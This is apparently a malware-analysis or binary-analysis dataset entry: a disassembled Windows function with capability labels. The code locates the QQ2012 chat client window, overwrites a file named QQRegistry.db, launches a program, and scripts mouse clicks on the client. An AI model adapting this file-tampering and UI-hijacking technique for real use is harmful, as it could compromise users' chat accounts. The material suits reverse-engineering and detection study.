Function at 0x4017d0
Capabilities:
Copy file
Create process on windows
Create thread
Hide graphical window

Disassembly:
sub esp, 0x214
mov ecx, 0x40
xor eax, eax
lea edx, [esp + 0x14]
push ebx
push ebp
push esi
push edi
lea edi, [esp + 0x24]
mov ebp, dword [esp + 0x228]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x124]
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x40e188
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x28]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call sub.basics.dll_getcount_bysign
sub eax, 2
lea ecx, [esp + 0x2c]
push eax
push 0x40e188
push ecx
call sub.basics.dll_getposition_bysign
add esp, 0x14
lea edx, [esp + 0x24]
mov byte [esp + eax + 0x24], 0
lea eax, [esp + 0x124]
push 0x411078
push edx
push str._sUsers_sQQRegistry.db
push eax
call fcn.00404734
mov ecx, dword [str.QQ2012]
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
add esp, 0x10
push ecx
push 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, eax
test edi, edi
je 0x4018d0
push 0x411054
push 0
push 0
push 0x401af0
push 0
push 0
mov dword [0x4115a4], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0x10
push edi
mov dword [0x411050], eax
call dword [sym.imp.USER32.dll_SendMessageA]
push 0xbb8
mov dword [0x4115a4], 1
call ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x24]
push 0x411234
lea edx, [esp + 0x28]
push str._sgxxlset
rep stosd dword es:[edi], eax
push edx
call fcn.00404734
add esp, 0xc
lea eax, [esp + 0x124]
lea ecx, [esp + 0x24]
push 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0xbb8
call ebx
push 1
push ebp
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x3e80
call ebx
mov edx, dword [str.QQ2012]
push edx
push 0
call esi
mov edi, eax
test edi, edi
je 0x401976
push 0x411054
push 0
push 0
push 0x401af0
push 0
push 0
mov dword [0x4115a4], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0x10
push edi
mov dword [0x411050], eax
call dword [sym.imp.USER32.dll_SendMessageA]
push 0xbb8
mov dword [0x4115a4], 1
call ebx
lea eax, [esp + 0x24]
push 0
lea ecx, [esp + 0x128]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0xfa0
call ebx
push 1
push ebp
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x3e80
call ebx
mov edx, dword [str.QQ2012]
push edx
push 0
call esi
mov edi, eax
test edi, edi
jne 0x4019c3
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x214
ret
push edi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 5
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [esp + 0x22c]
mov ecx, dword [esp + 0x14]
lea eax, [eax + eax*4]
lea edi, [ecx + 0x32]
lea edx, [eax + eax*4]
mov eax, dword [esp + 0x18]
lea ebp, [eax + edx*2 + 0xa3]
push ebp
push edi
call dword [sym.imp.USER32.dll_SetCursorPos]
mov esi, dword [sym.imp.USER32.dll_mouse_event]
push 0
push 0
push ebp
push edi
push 2
call esi
push 0
push 0
push ebp
push edi
push 4
call esi
push 0xa
call ebx
push 0
push 0
push ebp
push edi
push 2
call esi
push 0
push 0
push ebp
push edi
push 4
call esi
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
lea ebp, [edx + 0xa]
lea edi, [ecx - 0x4b]
push ebp
push edi
call dword [sym.imp.USER32.dll_SetCursorPos]
push 0
push 0
push ebp
push edi
push 2
call esi
push 0
push 0
push ebp
push edi
push 4
call esi
push 0xfa0
call ebx
push 0x411098
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 5
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
lea ebp, [ecx + 0x127]
lea eax, [edx + 0x37]
push eax
push ebp
mov dword [esp + 0x18], eax
call dword [sym.imp.USER32.dll_SetCursorPos]
mov eax, dword [esp + 0x10]
push 0
push 0
push eax
push ebp
push 2
call esi
mov ecx, dword [esp + 0x10]
push 0
push 0
push ecx
push ebp
push 4
call esi
push 0x3e8
call ebx
push 2
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x214
ret